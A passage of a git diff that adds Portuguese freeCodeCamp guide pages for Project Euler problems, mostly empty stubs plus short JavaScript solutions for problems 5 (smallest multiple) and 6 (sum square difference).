+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-471-triangle-inscribed-in-ellipse/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md
new file mode 100644
index 0000000000..c1b1b33756
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Comfortable Distance II
+localeTitle: Distância confortável II
+---
+## Problema 472: Distância Confortável II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-472-comfortable-distance-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md
new file mode 100644
index 0000000000..bf53fbb7e1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md
@@ -0,0 +1,9 @@
+---
+title: Phigital number base
+localeTitle: Base do número de phigital
+---
+## Problema 473: Base do número de Phigital
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-473-phigital-number-base/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md
new file mode 100644
index 0000000000..a8b5a33db6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Last digits of divisors
+localeTitle: Últimos dígitos dos divisores
+---
+## Problema 474: Últimos Dígitos dos Divisores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-474-last-digits-of-divisors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md
new file mode 100644
index 0000000000..1eda3ec32c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md
@@ -0,0 +1,9 @@
+---
+title: Music festival
+localeTitle: Festival de Música
+---
+## Problema 475: festival de música
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-475-music-festival/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md
new file mode 100644
index 0000000000..504492eb98
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Circle Packing II
+localeTitle: Embalagem do Círculo II
+---
+## Problema 476: Circle Packing II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-476-circle-packing-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md
new file mode 100644
index 0000000000..be09a8a413
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Sequence Game
+localeTitle: Jogo de sequência de números
+---
+## Problema 477: Jogo Sequencial Numérico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-477-number-sequence-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md
new file mode 100644
index 0000000000..4c7b4ece9b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md
@@ -0,0 +1,9 @@
+---
+title: Mixtures
+localeTitle: Misturas
+---
+## Problema 478: Misturas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-478-mixtures/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md
new file mode 100644
index 0000000000..f8ce82743a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md
@@ -0,0 +1,9 @@
+---
+title: Roots on the Rise
+localeTitle: Raízes em Ascensão
+---
+## Problema 479: Raízes em Ascensão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-479-roots-on-the-rise/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md
new file mode 100644
index 0000000000..e82712915a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Self powers
+localeTitle: Poderes auto
+---
+## Problema 48: Poderes Próprios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-48-self-powers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md
new file mode 100644
index 0000000000..bad22585fe
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md
@@ -0,0 +1,9 @@
+---
+title: The Last Question
+localeTitle: A última questão
+---
+## Problema 480: A Última Questão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-480-the-last-question/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md
new file mode 100644
index 0000000000..a0ab506039
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime permutations
+localeTitle: Permutações primárias
+---
+## Problema 49: Permutações do Prime
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-49-prime-permutations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md
new file mode 100644
index 0000000000..a3af1f7277
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-5-smallest-multiple/index.md
@@ -0,0 +1,45 @@
+---
+title: Smallest multiple
+localeTitle: Menor múltiplo
+---
+## Problema 5: menor múltiplo
+
+### Método:
+
+*   Neste desafio, precisamos encontrar o MMC de 1 a n números.
+*   Para encontrar o LCM de um número, usamos a seguinte fórmula:
+*   ![lcm](https://wikimedia.org/api/rest_v1/media/math/render/svg/9453a93953efe119b7502c1827aeeb869ab121d6)
+*   Para encontrar o GCD (maior divisor comum) de dois números, usamos o algoritmo euclidiano.
+*   Uma vez que recebemos o LCM de dois números, podemos obter o LCM dos números de 1 a n.
+
+### Solução:
+
+```js
+//LCM of two numbers 
+ function lcm(a, b){ 
+  return (a*b)/gcd(a, b); 
+ } 
+ 
+ //Euclidean recursive algorithm 
+ function gcd(a, b){ 
+  if (b === 0) return a; 
+  return gcd(b, a%b); 
+ } 
+ 
+ function smallestMult(n){ 
+  let maxLCM = 1; 
+ 
+  //Getting the LCM in the range 
+  for (let i = 2; i <= n; i++){ 
+    maxLCM = lcm(maxLCM, i); 
+  } 
+  return maxLCM; 
+ } 
+```
+
+*   [Executar código](https://repl.it/@ezioda004/Problem-5-Smallest-multiple)
+
+### Referências:
+
+*   [Algoritmo Euclidiano](https://en.wikipedia.org/wiki/Euclidean_algorithm)
+*   [LCM](https://en.wikipedia.org/wiki/Least_common_multiple)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md
new file mode 100644
index 0000000000..bc2ad2085b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Consecutive prime sum
+localeTitle: Soma principal consecutiva
+---
+## Problema 50: Soma Principal Consecutiva
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-50-consecutive-prime-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md
new file mode 100644
index 0000000000..280b76b88b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime digit replacements
+localeTitle: Primeiras substituições de dígito
+---
+## Problema 51: Substituições de Dígitos Principais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-51-prime-digit-replacements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md
new file mode 100644
index 0000000000..80b97d0cc4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md
@@ -0,0 +1,9 @@
+---
+title: Permuted multiples
+localeTitle: Múltiplos permutados
+---
+## Problema 52: múltiplos permutados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-52-permuted-multiples/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md
new file mode 100644
index 0000000000..4fb9b5cc76
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md
@@ -0,0 +1,9 @@
+---
+title: Combinatoric selections
+localeTitle: Seleções Combinatórias
+---
+## Problema 53: Seleções Combinatoriais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-53-combinatoric-selections/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md
new file mode 100644
index 0000000000..71975ac1ab
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md
@@ -0,0 +1,9 @@
+---
+title: Poker hands
+localeTitle: Mãos de poker
+---
+## Problema 54: mãos de pôquer
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-54-poker-hands/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md
new file mode 100644
index 0000000000..3d85281a88
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Lychrel numbers
+localeTitle: Números Lychrel
+---
+## Problema 55: Números Lychrel
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-55-lychrel-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md
new file mode 100644
index 0000000000..25a1fcccd9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Powerful digit sum
+localeTitle: Soma dígito poderoso
+---
+## Problema 56: Soma de dígito poderoso
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-56-powerful-digit-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md
new file mode 100644
index 0000000000..eda7fab1ea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md
@@ -0,0 +1,9 @@
+---
+title: Square root convergents
+localeTitle: Convergentes da raiz quadrada
+---
+## Problema 57: Convergentes da raiz quadrada
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-57-square-root-convergents/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md
new file mode 100644
index 0000000000..ed348717ea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Spiral primes
+localeTitle: Primários Espirais
+---
+## Problema 58: Primários Espirais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-58-spiral-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md
new file mode 100644
index 0000000000..63f9293bde
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md
@@ -0,0 +1,9 @@
+---
+title: XOR decryption
+localeTitle: Decodificação XOR
+---
+## Problema 59: Descriptografia XOR
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-59-xor-decryption/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md
new file mode 100644
index 0000000000..5a527f2eec
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-6-sum-square-difference/index.md
@@ -0,0 +1,37 @@
+---
+title: Sum square difference
+localeTitle: Soma diferença quadrada
+---
+## Problema 6: Soma da diferença quadrada
+
+### Método:
+
+*   A soma dos primeiros n números naturais pode ser calculada usando esta fórmula:
+    
+*   ![soma de n números](https://wikimedia.org/api/rest_v1/media/math/render/svg/99476e25466549387c585cb4de44e90f6cbe4cf2)
+    
+*   A soma dos quadrados de n números naturais pode ser calculada usando esta fórmula:
+    
+*   ![soma de n quadrados](https://wikimedia.org/api/rest_v1/media/math/render/svg/ae043bef33d41161541238bdbf4feca9f5e179dd)
+    
+*   Podemos calcular os valores usando a fórmula acima e subtraí-los para obter o resultado.
+    
+
+### Solução:
+
+```js
+function sumSquareDifference(n) { 
+  const sumOfN = (n*(n+1))/2; 
+  const sumOfNSquare = (n*(n+1)*(2*n+1))/6; 
+ 
+  //** is exponentaial operator added in ES7, it's equivalent to Math.pow(num, 2)` 
+  return (sumOfN ** 2) - sumOfNSquare; 
+ } 
+```
+
+*   [Executar código](https://repl.it/@ezioda004/Problem-6-Sum-square-difference)
+
+### Referências:
+
+*   [Soma dos n números - Wikipedia](https://en.wikipedia.org/wiki/1_%2B_2_%2B_3_%2B_4_%2B_%E2%8B%AF)
+*   [Soma de n números quadrados - Wikipedia](https://en.wikipedia.org/wiki/Square_pyramidal_number)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md
new file mode 100644
index 0000000000..7049857d1e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime pair sets
+localeTitle: Conjuntos Prime Pair
+---
+## Problema 60: Conjuntos Prime Pair
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-60-prime-pair-sets/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md
new file mode 100644
index 0000000000..610f7bd21c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Cyclical figurate numbers
+localeTitle: os números das figuras cíclicas
+---
+## Problema 61: números figurados cíclicos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-61-cyclical-figurate-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md
new file mode 100644
index 0000000000..7463672395
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md
@@ -0,0 +1,9 @@
+---
+title: Cubic permutations
+localeTitle: Permutações cúbicas
+---
+## Problema 62: permutações cúbicas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-62-cubic-permutations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md
new file mode 100644
index 0000000000..61b8fc2dc0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md
@@ -0,0 +1,9 @@
+---
+title: Powerful digit counts
+localeTitle: Contagens de dígitos poderosos
+---
+## Problema 63: contagens de dígitos poderosas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-63-powerful-digit-counts/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md
new file mode 100644
index 0000000000..4105ad4fa6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md
@@ -0,0 +1,9 @@
+---
+title: Odd period square roots
+localeTitle: Raízes quadradas de período ímpar
+---
+## Problema 64: Raízes quadradas de período ímpar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-64-odd-period-square-roots/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md
new file mode 100644
index 0000000000..4a1c283c85
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md
@@ -0,0 +1,9 @@
+---
+title: Convergents of e
+localeTitle: Convergentes de e
+---
+## Problema 65: Convergentes de e
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-65-convergents-of-e/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md
new file mode 100644
index 0000000000..97667e4fa0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md
@@ -0,0 +1,9 @@
+---
+title: Diophantine equation
+localeTitle: Equação diofantina
+---
+## Problema 66: Equação Diofantina
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-66-diophantine-equation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md
new file mode 100644
index 0000000000..cafaee72e9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum path sum II
+localeTitle: Soma do caminho máximo II
+---
+## Problema 67: soma do caminho máximo II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-67-maximum-path-sum-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md
new file mode 100644
index 0000000000..1b3b86bbe0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md
@@ -0,0 +1,9 @@
+---
+title: Magic 5-gon ring
+localeTitle: Anel mágico de 5 gon
+---
+## Problema 68: Anel Mágico de 5-gon
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-68-magic-5-gon-ring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md
new file mode 100644
index 0000000000..5a3410da09
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-69-totient-maximum/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient maximum
+localeTitle: totiente maior
+---
+## Problema 69: Máximo Totiente
+
